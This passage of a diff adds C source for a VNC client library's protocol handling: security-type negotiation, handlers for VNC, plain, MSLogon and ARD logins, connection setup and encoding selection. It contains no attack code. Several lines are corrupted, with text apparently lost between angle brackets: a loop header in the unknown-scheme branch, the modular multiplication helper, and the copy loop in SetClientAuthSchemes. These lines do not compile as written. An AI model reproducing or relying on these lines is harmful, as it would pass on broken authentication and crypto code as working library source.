(tAuth[loop]==rfbVncAuth || tAuth[loop]==rfbNoAuth || + tAuth[loop] == rfbSecTypeVeyon || + extAuthHandler || +#if defined(LIBVNCSERVER_HAVE_GNUTLS) || defined(LIBVNCSERVER_HAVE_LIBSSL) + tAuth[loop]==rfbVeNCrypt || +#endif +#ifdef LIBVNCSERVER_HAVE_SASL + tAuth[loop]==rfbSASL || +#endif /* LIBVNCSERVER_HAVE_SASL */ + (tAuth[loop]==rfbARD && client->GetCredential) || + (!subAuth && (tAuth[loop]==rfbTLS || (tAuth[loop]==rfbVeNCrypt && client->GetCredential)))) + { + if (!subAuth && client->clientAuthSchemes) + { + int i; + for (i=0;client->clientAuthSchemes[i];i++) + { + if (client->clientAuthSchemes[i]==(uint32_t)tAuth[loop]) + { + flag++; + authScheme=tAuth[loop]; + break; + } + } + } + else + { + flag++; + authScheme=tAuth[loop]; + } + if (flag) + { + rfbClientLog("Selecting security type %d (%d/%d in the list)\n", authScheme, loop, count); + /* send back a single byte indicating which security type to use */ + if (!WriteToRFBServer(client, (char *)&tAuth[loop], 1)) return FALSE; + } + } + } + if (authScheme==0) + { + memset(buf1, 0, sizeof(buf1)); + for (loop=0;loop=sizeof(buf1)-1) break; + snprintf(buf2, sizeof(buf2), (loop>0 ? ", %d" : "%d"), (int)tAuth[loop]); + strncat(buf1, buf2, sizeof(buf1)-strlen(buf1)-1); + } + rfbClientLog("Unknown authentication scheme from VNC server: %s\n", + buf1); + return FALSE; + } + *result = authScheme; + return TRUE; +} + +static rfbBool +HandleVncAuth(rfbClient *client) +{ + uint8_t challenge[CHALLENGESIZE]; + char *passwd=NULL; + int i; + + if (!ReadFromRFBServer(client, (char *)challenge, CHALLENGESIZE)) return FALSE; + + if (client->serverPort!=-1) { /* if not playing a vncrec file */ + if (client->GetPassword) + passwd = client->GetPassword(client); + + if ((!passwd) || (strlen(passwd) == 0)) { + rfbClientLog("Reading password failed\n"); + return FALSE; + } + if (strlen(passwd) > 8) { + passwd[8] = '\0'; + } + + rfbClientEncryptBytes(challenge, passwd); + + /* Lose the password from memory */ + for (i = strlen(passwd); i >= 0; i--) { + passwd[i] = '\0'; + } + free(passwd); + + if (!WriteToRFBServer(client, (char *)challenge, CHALLENGESIZE)) return FALSE; + } + + /* Handle the SecurityResult message */ + if (!rfbHandleAuthResult(client)) return FALSE; + + return TRUE; +} + +static void +FreeUserCredential(rfbCredential *cred) +{ + if (cred->userCredential.username) free(cred->userCredential.username); + if (cred->userCredential.password) free(cred->userCredential.password); + free(cred); +} + +static rfbBool +HandlePlainAuth(rfbClient *client) +{ + uint32_t ulen, ulensw; + uint32_t plen, plensw; + rfbCredential *cred; + + if (!client->GetCredential) + { + rfbClientLog("GetCredential callback is not set.\n"); + return FALSE; + } + cred = client->GetCredential(client, rfbCredentialTypeUser); + if (!cred) + { + rfbClientLog("Reading credential failed\n"); + return FALSE; + } + + ulen = (cred->userCredential.username ? strlen(cred->userCredential.username) : 0); + ulensw = rfbClientSwap32IfLE(ulen); + plen = (cred->userCredential.password ? strlen(cred->userCredential.password) : 0); + plensw = rfbClientSwap32IfLE(plen); + if (!WriteToRFBServer(client, (char *)&ulensw, 4) || + !WriteToRFBServer(client, (char *)&plensw, 4)) + { + FreeUserCredential(cred); + return FALSE; + } + if (ulen > 0) + { + if (!WriteToRFBServer(client, cred->userCredential.username, ulen)) + { + FreeUserCredential(cred); + return FALSE; + } + } + if (plen > 0) + { + if (!WriteToRFBServer(client, cred->userCredential.password, plen)) + { + FreeUserCredential(cred); + return FALSE; + } + } + + FreeUserCredential(cred); + + /* Handle the SecurityResult message */ + if (!rfbHandleAuthResult(client)) return FALSE; + + return TRUE; +} + +/* Simple 64bit big integer arithmetic implementation */ +/* (x + y) % m, works even if (x + y) > 64bit */ +#define rfbAddM64(x,y,m) ((x+y)%m+(x+y0;x>>=1) + { + if (x&1) r=rfbAddM64(r,y,m); + y=rfbAddM64(y,y,m); + } + return r; +} +/* (x ^ y) % m */ +static uint64_t +rfbPowM64(uint64_t b, uint64_t e, uint64_t m) +{ + uint64_t r; + for(r=1;e>0;e>>=1) + { + if(e&1) r=rfbMulM64(r,b,m); + b=rfbMulM64(b,b,m); + } + return r; +} + +static rfbBool +HandleMSLogonAuth(rfbClient *client) +{ + uint64_t gen, mod, resp, priv, pub, key; + uint8_t username[256], password[64]; + rfbCredential *cred; + + if (!ReadFromRFBServer(client, (char *)&gen, 8)) return FALSE; + if (!ReadFromRFBServer(client, (char *)&mod, 8)) return FALSE; + if (!ReadFromRFBServer(client, (char *)&resp, 8)) return FALSE; + gen = rfbClientSwap64IfLE(gen); + mod = rfbClientSwap64IfLE(mod); + resp = rfbClientSwap64IfLE(resp); + + if (!client->GetCredential) + { + rfbClientLog("GetCredential callback is not set.\n"); + return FALSE; + } + rfbClientLog("WARNING! MSLogon security type has very low password encryption! "\ + "Use it only with SSH tunnel or trusted network.\n"); + cred = client->GetCredential(client, rfbCredentialTypeUser); + if (!cred) + { + rfbClientLog("Reading credential failed\n"); + return FALSE; + } + + memset(username, 0, sizeof(username)); + strncpy((char *)username, cred->userCredential.username, sizeof(username)); + memset(password, 0, sizeof(password)); + strncpy((char *)password, cred->userCredential.password, sizeof(password)); + FreeUserCredential(cred); + + srand(time(NULL)); + priv = ((uint64_t)rand())<<32; + priv |= (uint64_t)rand(); + + pub = rfbPowM64(gen, priv, mod); + key = rfbPowM64(resp, priv, mod); + pub = rfbClientSwap64IfLE(pub); + key = rfbClientSwap64IfLE(key); + + rfbClientEncryptBytes2(username, sizeof(username), (unsigned char *)&key); + rfbClientEncryptBytes2(password, sizeof(password), (unsigned char *)&key); + + if (!WriteToRFBServer(client, (char *)&pub, 8)) return FALSE; + if (!WriteToRFBServer(client, (char *)username, sizeof(username))) return FALSE; + if (!WriteToRFBServer(client, (char *)password, sizeof(password))) return FALSE; + + /* Handle the SecurityResult message */ + if (!rfbHandleAuthResult(client)) return FALSE; + + return TRUE; +} + +#ifdef LIBVNCSERVER_WITH_CLIENT_GCRYPT +static rfbBool +rfbMpiToBytes(const gcry_mpi_t value, uint8_t *result, size_t size) +{ + gcry_error_t error; + size_t len; + int i; + + error = gcry_mpi_print(GCRYMPI_FMT_USG, result, size, &len, value); + if (gcry_err_code(error) != GPG_ERR_NO_ERROR) + { + rfbClientLog("gcry_mpi_print error: %s\n", gcry_strerror(error)); + return FALSE; + } + for (i=size-1;i>(int)size-1-(int)len;--i) + result[i] = result[i-size+len]; + for (;i>=0;--i) + result[i] = 0; + return TRUE; +} + +static rfbBool +HandleARDAuth(rfbClient *client) +{ + uint8_t gen[2], len[2]; + size_t keylen; + uint8_t *mod = NULL, *resp, *pub, *key, *shared; + gcry_mpi_t genmpi = NULL, modmpi = NULL, respmpi = NULL; + gcry_mpi_t privmpi = NULL, pubmpi = NULL, keympi = NULL; + gcry_md_hd_t md5 = NULL; + gcry_cipher_hd_t aes = NULL; + gcry_error_t error; + uint8_t userpass[128], ciphertext[128]; + int passwordLen, usernameLen; + rfbCredential *cred = NULL; + rfbBool result = FALSE; + + if (!gcry_control(GCRYCTL_INITIALIZATION_FINISHED_P)) + { + /* Application did not initialize gcrypt, so we should */ + if (!gcry_check_version(GCRYPT_VERSION)) + { + /* Older version of libgcrypt is installed on system than compiled against */ + rfbClientLog("libgcrypt version mismatch.\n"); + } + } + + while (1) + { + if (!ReadFromRFBServer(client, (char *)gen, 2)) + break; + if (!ReadFromRFBServer(client, (char *)len, 2)) + break; + + if (!client->GetCredential) + { + rfbClientLog("GetCredential callback is not set.\n"); + break; + } + cred = client->GetCredential(client, rfbCredentialTypeUser); + if (!cred) + { + rfbClientLog("Reading credential failed\n"); + break; + } + + keylen = 256*len[0]+len[1]; + mod = (uint8_t*)malloc(keylen*4); + if (!mod) + { + rfbClientLog("malloc out of memory\n"); + break; + } + resp = mod+keylen; + pub = resp+keylen; + key = pub+keylen; + + if (!ReadFromRFBServer(client, (char *)mod, keylen)) + break; + if (!ReadFromRFBServer(client, (char *)resp, keylen)) + break; + + error = gcry_mpi_scan(&genmpi, GCRYMPI_FMT_USG, gen, 2, NULL); + if (gcry_err_code(error) != GPG_ERR_NO_ERROR) + { + rfbClientLog("gcry_mpi_scan error: %s\n", gcry_strerror(error)); + break; + } + error = gcry_mpi_scan(&modmpi, GCRYMPI_FMT_USG, mod, keylen, NULL); + if (gcry_err_code(error) != GPG_ERR_NO_ERROR) + { + rfbClientLog("gcry_mpi_scan error: %s\n", gcry_strerror(error)); + break; + } + error = gcry_mpi_scan(&respmpi, GCRYMPI_FMT_USG, resp, keylen, NULL); + if (gcry_err_code(error) != GPG_ERR_NO_ERROR) + { + rfbClientLog("gcry_mpi_scan error: %s\n", gcry_strerror(error)); + break; + } + + privmpi = gcry_mpi_new(keylen); + if (!privmpi) + { + rfbClientLog("gcry_mpi_new out of memory\n"); + break; + } + gcry_mpi_randomize(privmpi, (keylen/8)*8, GCRY_STRONG_RANDOM); + + pubmpi = gcry_mpi_new(keylen); + if (!pubmpi) + { + rfbClientLog("gcry_mpi_new out of memory\n"); + break; + } + gcry_mpi_powm(pubmpi, genmpi, privmpi, modmpi); + + keympi = gcry_mpi_new(keylen); + if (!keympi) + { + rfbClientLog("gcry_mpi_new out of memory\n"); + break; + } + gcry_mpi_powm(keympi, respmpi, privmpi, modmpi); + + if (!rfbMpiToBytes(pubmpi, pub, keylen)) + break; + if (!rfbMpiToBytes(keympi, key, keylen)) + break; + + error = gcry_md_open(&md5, GCRY_MD_MD5, 0); + if (gcry_err_code(error) != GPG_ERR_NO_ERROR) + { + rfbClientLog("gcry_md_open error: %s\n", gcry_strerror(error)); + break; + } + gcry_md_write(md5, key, keylen); + error = gcry_md_final(md5); + if (gcry_err_code(error) != GPG_ERR_NO_ERROR) + { + rfbClientLog("gcry_md_final error: %s\n", gcry_strerror(error)); + break; + } + shared = gcry_md_read(md5, GCRY_MD_MD5); + + passwordLen = strlen(cred->userCredential.password)+1; + usernameLen = strlen(cred->userCredential.username)+1; + if (passwordLen > sizeof(userpass)/2) + passwordLen = sizeof(userpass)/2; + if (usernameLen > sizeof(userpass)/2) + usernameLen = sizeof(userpass)/2; + + gcry_randomize(userpass, sizeof(userpass), GCRY_STRONG_RANDOM); + memcpy(userpass, cred->userCredential.username, usernameLen); + memcpy(userpass+sizeof(userpass)/2, cred->userCredential.password, passwordLen); + + error = gcry_cipher_open(&aes, GCRY_CIPHER_AES128, GCRY_CIPHER_MODE_ECB, 0); + if (gcry_err_code(error) != GPG_ERR_NO_ERROR) + { + rfbClientLog("gcry_cipher_open error: %s\n", gcry_strerror(error)); + break; + } + error = gcry_cipher_setkey(aes, shared, 16); + if (gcry_err_code(error) != GPG_ERR_NO_ERROR) + { + rfbClientLog("gcry_cipher_setkey error: %s\n", gcry_strerror(error)); + break; + } + error = gcry_cipher_encrypt(aes, ciphertext, sizeof(ciphertext), userpass, sizeof(userpass)); + if (gcry_err_code(error) != GPG_ERR_NO_ERROR) + { + rfbClientLog("gcry_cipher_encrypt error: %s\n", gcry_strerror(error)); + break; + } + + if (!WriteToRFBServer(client, (char *)ciphertext, sizeof(ciphertext))) + break; + if (!WriteToRFBServer(client, (char *)pub, keylen)) + break; + + /* Handle the SecurityResult message */ + if (!rfbHandleAuthResult(client)) + break; + + result = TRUE; + break; + } + + if (cred) + FreeUserCredential(cred); + if (mod) + free(mod); + if (genmpi) + gcry_mpi_release(genmpi); + if (modmpi) + gcry_mpi_release(modmpi); + if (respmpi) + gcry_mpi_release(respmpi); + if (privmpi) + gcry_mpi_release(privmpi); + if (pubmpi) + gcry_mpi_release(pubmpi); + if (keympi) + gcry_mpi_release(keympi); + if (md5) + gcry_md_close(md5); + if (aes) + gcry_cipher_close(aes); + return result; +} +#endif + +/* + * SetClientAuthSchemes. + */ + +void +SetClientAuthSchemes(rfbClient* client,const uint32_t *authSchemes, int size) +{ + int i; + + if (client->clientAuthSchemes) + { + free(client->clientAuthSchemes); + client->clientAuthSchemes = NULL; + } + if (authSchemes) + { + if (size<0) + { + /* If size<0 we assume the passed-in list is also 0-terminate, so we + * calculate the size here */ + for (size=0;authSchemes[size];size++) ; + } + client->clientAuthSchemes = (uint32_t*)malloc(sizeof(uint32_t)*(size+1)); + for (i=0;iclientAuthSchemes[i] = authSchemes[i]; + client->clientAuthSchemes[size] = 0; + } +} + +/* + * InitialiseRFBConnection. + */ + +rfbBool +InitialiseRFBConnection(rfbClient* client) +{ + rfbProtocolVersionMsg pv; + int major,minor; + uint32_t authScheme; + uint32_t subAuthScheme; + rfbClientInitMsg ci; + + /* if the connection is immediately closed, don't report anything, so + that pmw's monitor can make test connections */ + + if (client->listenSpecified) + errorMessageOnReadFailure = FALSE; + + if (!ReadFromRFBServer(client, pv, sz_rfbProtocolVersionMsg)) return FALSE; + pv[sz_rfbProtocolVersionMsg]=0; + + errorMessageOnReadFailure = TRUE; + + pv[sz_rfbProtocolVersionMsg] = 0; + + if (sscanf(pv,rfbProtocolVersionFormat,&major,&minor) != 2) { + rfbClientLog("Not a valid VNC server (%s)\n",pv); + return FALSE; + } + + + DefaultSupportedMessages(client); + client->major = major; + client->minor = minor; + + /* fall back to viewer supported version */ + if ((major==rfbProtocolMajorVersion) && (minor>rfbProtocolMinorVersion)) + client->minor = rfbProtocolMinorVersion; + + /* UltraVNC uses minor codes 4 and 6 for the server */ + if (major==3 && (minor==4 || minor==6)) { + rfbClientLog("UltraVNC server detected, enabling UltraVNC specific messages\n",pv); + DefaultSupportedMessagesUltraVNC(client); + } + + /* UltraVNC Single Click uses minor codes 14 and 16 for the server */ + if (major==3 && (minor==14 || minor==16)) { + minor = minor - 10; + client->minor = minor; + rfbClientLog("UltraVNC Single Click server detected, enabling UltraVNC specific messages\n",pv); + DefaultSupportedMessagesUltraVNC(client); + } + + /* TightVNC uses minor codes 5 for the server */ + if (major==3 && minor==5) { + rfbClientLog("TightVNC server detected, enabling TightVNC specific messages\n",pv); + DefaultSupportedMessagesTightVNC(client); + } + + /* we do not support > RFB3.8 */ + if ((major==3 && minor>8) || major>3) + { + client->major=3; + client->minor=8; + } + + rfbClientLog("VNC server supports protocol version %d.%d (viewer %d.%d)\n", + major, minor, rfbProtocolMajorVersion, rfbProtocolMinorVersion); + + sprintf(pv,rfbProtocolVersionFormat,client->major,client->minor); + + if (!WriteToRFBServer(client, pv, sz_rfbProtocolVersionMsg)) return FALSE; + + + /* 3.7 and onwards sends a # of security types first */ + if (client->major==3 && client->minor > 6) + { + if (!ReadSupportedSecurityType(client, &authScheme, FALSE)) return FALSE; + } + else + { + if (!ReadFromRFBServer(client, (char *)&authScheme, 4)) return FALSE; + authScheme = rfbClientSwap32IfLE(authScheme); + } + + rfbClientLog("Selected Security Scheme %d\n", authScheme); + client->authScheme = authScheme; + + switch (authScheme) { + + case rfbConnFailed: + ReadReason(client); + return FALSE; + + case rfbNoAuth: + rfbClientLog("No authentication needed\n"); + + /* 3.8 and upwards sends a Security Result for rfbNoAuth */ + if ((client->major==3 && client->minor > 7) || client->major>3) + if (!rfbHandleAuthResult(client)) return FALSE; + + break; + + case rfbVncAuth: + if (!HandleVncAuth(client)) return FALSE; + break; + +#ifdef LIBVNCSERVER_HAVE_SASL + case rfbSASL: + if (!HandleSASLAuth(client)) return FALSE; + break; +#endif /* LIBVNCSERVER_HAVE_SASL */ + + case rfbMSLogon: + if (!HandleMSLogonAuth(client)) return FALSE; + break; + + case rfbARD: +#ifndef LIBVNCSERVER_WITH_CLIENT_GCRYPT + rfbClientLog("GCrypt support was not compiled in\n"); + return FALSE; +#else + if (!HandleARDAuth(client)) return FALSE; +#endif + break; + + case rfbTLS: + if (!HandleAnonTLSAuth(client)) return FALSE; + /* After the TLS session is established, sub auth types are expected. + * Note that all following reading/writing are through the TLS session from here. + */ + if (!ReadSupportedSecurityType(client, &subAuthScheme, TRUE)) return FALSE; + client->subAuthScheme = subAuthScheme; + + switch (subAuthScheme) { + + case rfbConnFailed: + ReadReason(client); + return FALSE; + + case rfbNoAuth: + rfbClientLog("No sub authentication needed\n"); + /* 3.8 and upwards sends a Security Result for rfbNoAuth */ + if ((client->major==3 && client->minor > 7) || client->major>3) + if (!rfbHandleAuthResult(client)) return FALSE; + break; + + case rfbVncAuth: + if (!HandleVncAuth(client)) return FALSE; + break; + +#ifdef LIBVNCSERVER_HAVE_SASL + case rfbSASL: + if (!HandleSASLAuth(client)) return FALSE; + break; +#endif /* LIBVNCSERVER_HAVE_SASL */ + + default: + rfbClientLog("Unknown sub authentication scheme from VNC server: %d\n", + (int)subAuthScheme); + return FALSE; + } + + break; + + case rfbVeNCrypt: + if (!HandleVeNCryptAuth(client)) return FALSE; + + switch (client->subAuthScheme) { + + case rfbVeNCryptTLSNone: + case rfbVeNCryptX509None: + rfbClientLog("No sub authentication needed\n"); + if (!rfbHandleAuthResult(client)) return FALSE; + break; + + case rfbVeNCryptTLSVNC: + case rfbVeNCryptX509VNC: + if (!HandleVncAuth(client)) return FALSE; + break; + + case rfbVeNCryptTLSPlain: + case rfbVeNCryptX509Plain: + if (!HandlePlainAuth(client)) return FALSE; + break; + +#ifdef LIBVNCSERVER_HAVE_SASL + case rfbVeNCryptX509SASL: + case rfbVeNCryptTLSSASL: + if (!HandleSASLAuth(client)) return FALSE; + break; +#endif /* LIBVNCSERVER_HAVE_SASL */ + + default: + rfbClientLog("Unknown sub authentication scheme from VNC server: %d\n", + client->subAuthScheme); + return FALSE; + } + + break; + + case rfbSecTypeVeyon: + handleSecTypeVeyon( client ); + if (!rfbHandleAuthResult(client)) return FALSE; + break; + + default: + { + rfbBool authHandled=FALSE; + rfbClientProtocolExtension* e; + for (e = rfbClientExtensions; e; e = e->next) { + uint32_t const* secType; + if (!e->handleAuthentication) continue; + for (secType = e->securityTypes; secType && *secType; secType++) { + if (authScheme==*secType) { + if (!e->handleAuthentication(client, authScheme)) return FALSE; + if (!rfbHandleAuthResult(client)) return FALSE; + authHandled=TRUE; + } + } + } + if (authHandled) break; + } + rfbClientLog("Unknown authentication scheme from VNC server: %d\n", + (int)authScheme); + return FALSE; + } + + ci.shared = (client->appData.shareDesktop ? 1 : 0); + + if (!WriteToRFBServer(client, (char *)&ci, sz_rfbClientInitMsg)) return FALSE; + + if (!ReadFromRFBServer(client, (char *)&client->si, sz_rfbServerInitMsg)) return FALSE; + + client->si.framebufferWidth = rfbClientSwap16IfLE(client->si.framebufferWidth); + client->si.framebufferHeight = rfbClientSwap16IfLE(client->si.framebufferHeight); + client->si.format.redMax = rfbClientSwap16IfLE(client->si.format.redMax); + client->si.format.greenMax = rfbClientSwap16IfLE(client->si.format.greenMax); + client->si.format.blueMax = rfbClientSwap16IfLE(client->si.format.blueMax); + client->si.nameLength = rfbClientSwap32IfLE(client->si.nameLength); + + if (client->si.nameLength > 1<<20) { + rfbClientErr("Too big desktop name length sent by server: %u B > 1 MB\n", (unsigned int)client->si.nameLength); + return FALSE; + } + + client->desktopName = malloc(client->si.nameLength + 1); + if (!client->desktopName) { + rfbClientLog("Error allocating memory for desktop name, %lu bytes\n", + (unsigned long)client->si.nameLength); + return FALSE; + } + + if (!ReadFromRFBServer(client, client->desktopName, client->si.nameLength)) return FALSE; + + client->desktopName[client->si.nameLength] = 0; + + rfbClientLog("Desktop name \"%s\"\n",client->desktopName); + + rfbClientLog("Connected to VNC server, using protocol version %d.%d\n", + client->major, client->minor); + + rfbClientLog("VNC server default format:\n"); + PrintPixelFormat(&client->si.format); + + return TRUE; +} + + +/* + * SetFormatAndEncodings. + */ + +rfbBool +SetFormatAndEncodings(rfbClient* client) +{ + rfbSetPixelFormatMsg spf; + char buf[sz_rfbSetEncodingsMsg + MAX_ENCODINGS * 4]; + + rfbSetEncodingsMsg *se = (rfbSetEncodingsMsg *)buf; + uint32_t *encs = (uint32_t *)(&buf[sz_rfbSetEncodingsMsg]); + int len = 0; + rfbBool requestCompressLevel = FALSE; + rfbBool requestQualityLevel = FALSE; + rfbBool requestLastRectEncoding = FALSE; + rfbClientProtocolExtension* e; + + if (!SupportsClient2Server(client, rfbSetPixelFormat)) return TRUE; + + spf.type = rfbSetPixelFormat; + spf.pad1 = 0; + spf.pad2 = 0; + spf.format = client->format; + spf.format.redMax = rfbClientSwap16IfLE(spf.format.redMax); + spf.format.greenMax = rfbClientSwap16IfLE(spf.format.greenMax); + spf.format.blueMax = rfbClientSwap16IfLE(spf.format.blueMax); + + if (!WriteToRFBServer(client, (char *)&spf, sz_rfbSetPixelFormatMsg)) + return FALSE; + + + if (!SupportsClient2Server(client, rfbSetEncodings)) return TRUE; + + se->type = rfbSetEncodings; + se->pad = 0; + se->nEncodings = 0; + + if (client->appData.encodingsString) { + const char *encStr = client->appData.encodingsString; + int encStrLen; + do { + const char *nextEncStr = strchr(encStr, ' '); + if (nextEncStr) { + encStrLen = nextEncStr - encStr; + nextEncStr++; + } else { + encStrLen = strlen(encStr); + } + + if (strncasecmp(encStr,"raw",encStrLen) == 0) { + encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingRaw); + } else if (strncasecmp(encStr,"copyrect",encStrLen) == 0) { + encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingCopyRect); +#ifdef LIBVNCSERVER_HAVE_LIBZ +#ifdef LIBVNCSERVER_HAVE_LIBJPEG + } else if (strncasecmp(encStr,"tight",encStrLen) == 0) { + encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingTight); + requestLastRectEncoding = TRUE; + if (client->appData.compressLevel >= 0 && client->appData.compressLevel <= 9) + requestCompressLevel = TRUE; + if (client->appData.enableJPEG) + requestQualityLevel = TRUE; +#endif +#endif + } else if (strncasecmp(encStr,"hextile",encStrLen) == 0) { + encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingHextile); +#ifdef LIBVNCSERVER_HAVE_LIBZ + } else if (strncasecmp(encStr,"zlib",encStrLen) == 0) { + encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingZlib); + if (client->appData.compressLevel >= 0 && client->appData.compressLevel <= 9) + requestCompressLevel = TRUE; + } else if (strncasecmp(encStr,"zlibhex",encStrLen) == 0) { + encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingZlibHex); + if (client->appData.compressLevel >= 0 && client->appData.compressLevel <= 9) + requestCompressLevel = TRUE; + } else if (strncasecmp(encStr,"trle",encStrLen) == 0) { + encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingTRLE); + } else if (strncasecmp(encStr,"zrle",encStrLen) == 0) { + encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingZRLE); + } else if (strncasecmp(encStr,"zywrle",encStrLen) == 0) { + encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingZYWRLE); + requestQualityLevel = TRUE; +#endif + } else if ((strncasecmp(encStr,"ultra",encStrLen) == 0) || (strncasecmp(encStr,"ultrazip",encStrLen) == 0)) { + /* There are 2 encodings used in 'ultra' */ + encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingUltra); + encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingUltraZip); + } else if (strncasecmp(encStr,"corre",encStrLen) == 0) { + encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingCoRRE); + } else if (strncasecmp(encStr,"rre",encStrLen) == 0) { + encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingRRE); + } else { + rfbClientLog("Unknown encoding '%.*s'\n",encStrLen,encStr); + } + + encStr = nextEncStr; + } while (encStr && se->nEncodings < MAX_ENCODINGS); + + if (se->nEncodings < MAX_ENCODINGS && requestCompressLevel) { + encs[se->nEncodings++] = rfbClientSwap32IfLE(client->appData.compressLevel + + rfbEncodingCompressLevel0); + } + + if (se->nEncodings < MAX_ENCODINGS && requestQualityLevel) { + if (client->appData.qualityLevel < 0 || client->appData.qualityLevel > 9) + client->appData.qualityLevel = 5; + encs[se->nEncodings++] = rfbClientSwap32IfLE(client->appData.qualityLevel + + rfbEncodingQualityLevel0); + } + } + else { + if (SameMachine(client->sock)) { + /* TODO: + if (!tunnelSpecified) { + */ + rfbClientLog("Same machine: preferring raw encoding\n"); + encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingRaw); + /* + } else { + rfbClientLog("Tunneling active: preferring tight encoding\n"); + } + */ + } + + encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingCopyRect); +#ifdef LIBVNCSERVER_HAVE_LIBZ +#ifdef LIBVNCSERVER_HAVE_LIBJPEG + encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingTight); + requestLastRectEncoding = TRUE; +#endif +#endif + encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingHextile); +#ifdef LIBVNCSERVER_HAVE_LIBZ + encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingZlib); + encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingZRLE); + encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingZYWRLE); +#endif + encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingUltra); + encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingUltraZip); + encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingCoRRE); + encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingRRE); + + if (client->appData.compressLevel >= 0 && client->appData.compressLevel <= 9) { + encs[se->nEncodings++] = rfbClientSwap32IfLE(client->appData.compressLevel + + rfbEncodingCompressLevel0); + } else /* if (!tunnelSpecified) */ { + /* If -tunnel option was provided, we assume that server machine is + not in the local network so we use default compression level for + tight encoding instead of fast compression. Thus we are + requesting level 1 compression only if tunneling is not used. */ + encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingCompressLevel1); + } + + if (client->appData.enableJPEG) { + if (client->appData.qualityLevel < 0 || client->appData.qualityLevel > 9) + client->appData.qualityLevel = 5; + encs[se->nEncodings++] = rfbClientSwap32IfLE(client->appData.qualityLevel + + rfbEncodingQualityLevel0); + } + } + + + + /* Remote Cursor Support (local to viewer) */ + if (client->appData.useRemoteCursor) { + if (se->nEncodings < MAX_ENCODINGS) + encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingXCursor); + if (se->nEncodings < MAX_ENCODINGS) + encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingRichCursor); + if (se->nEncodings < MAX_ENCODINGS) + encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingPointerPos); + } + + /* Keyboard State Encodings */ + if (se->nEncodings < MAX_ENCODINGS) + encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingKeyboardLedState); + + /* New Frame Buffer Size */ + if (se->nEncodings < MAX_ENCODINGS && client->canHandleNewFBSize) + encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingNewFBSize); + + /* Last Rect */ + if (se->nEncodings < MAX_ENCODINGS && requestLastRectEncoding) + encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingLastRect); + + /* Server Capabilities */ + if (se->nEncodings < MAX_ENCODINGS) + encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingSupportedMessages); + if (se->nEncodings < MAX_ENCODINGS) + encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingSupportedEncodings); + if (se->nEncodings < MAX_ENCODINGS) + encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingServerIdentity); + + /* xvp */ + if (se->nEncodings < MAX_ENCODINGS) + encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingXvp); + + /* client extensions */ + for(e = rfbClientExtensions; e; e = e->next) + if(e->encodings) { + int* enc; + for(enc = e->encodings; *enc; enc++) + if(se->nEncodings < MAX_ENCODINGS) + encs[se->nEncodings++] = rfbClientSwap32IfLE(*enc); + } + + len = sz_rfbSetEncodingsMsg + se->nEncodings * 4; + + se->nEncodings = rfbClientSwap16IfLE(se->nEncodings); + + if (!WriteToRFBServer(client, buf, len)) return FALSE; + + return TRUE; +} + + +/* + * SendIncrementalFramebufferUpdateRequest. + */ + +rfbBool +SendIncrementalFramebufferUpdateRequest(rfbClient* client) +{ + return SendFramebufferUpdateRequest(client, + client->updateRect.x, client->updateRect.y, + client->updateRect.w, client->updateRect.h, TRUE); +} + + +/* + * SendFramebufferUpdateRequest. + */ + +rfbBool +SendFramebufferUpdateRequest(rfbClient* client, int x, int y, int w, int h, rfbBool incremental) +{ + rfbFramebufferUpdateRequestMsg fur; + + if (!SupportsClient2Server(client, rfbFramebufferUpdateRequest)) return TRUE; + + fur.type = rfbFramebufferUpdateRequest; + fur.incremental = incremental ? 1 : 0; + fur.x = rfbClientSwap16IfLE(x); + fur.y = rfbClientSwap16IfLE(y); + fur.w = rfbClientSwap16IfLE(w); + fur.h = rfbClientSwap16IfLE(h); + + if (!WriteToRFBServer(client, (char *)&fur, sz_rfbFramebufferUpdateRequestMsg)) + return FALSE; + + return TRUE; +} + + +/* + * SendScaleSetting. + */ +rfbBool +SendScaleSetting(rfbClient* client,int scaleSetting) +{ + rfbSetScaleMsg ssm; + + ssm.scale = scaleSetting; + ssm.pad = 0; + + /* favor UltraVNC SetScale if both are supported */ + if (SupportsClient2Server(client, rfbSetScale)) { + ssm.type = rfbSetScale; + if (!WriteToRFBServer(client, (char *)&ssm, sz_rfbSetScaleMsg)) + return FALSE; + } + + if (SupportsClient2Server(client, rfbPalmVNCSetScaleFactor)) { + ssm.type = rfbPalmVNCSetScaleFactor; + if (!WriteToRFBServer(client, (char *)&ssm, sz_rfbSetScaleMsg)) + return FALSE; + } + + return TRUE; +} + +/* + * TextChatFunctions (UltraVNC) + * Extremely bandwidth friendly method of communicating with a 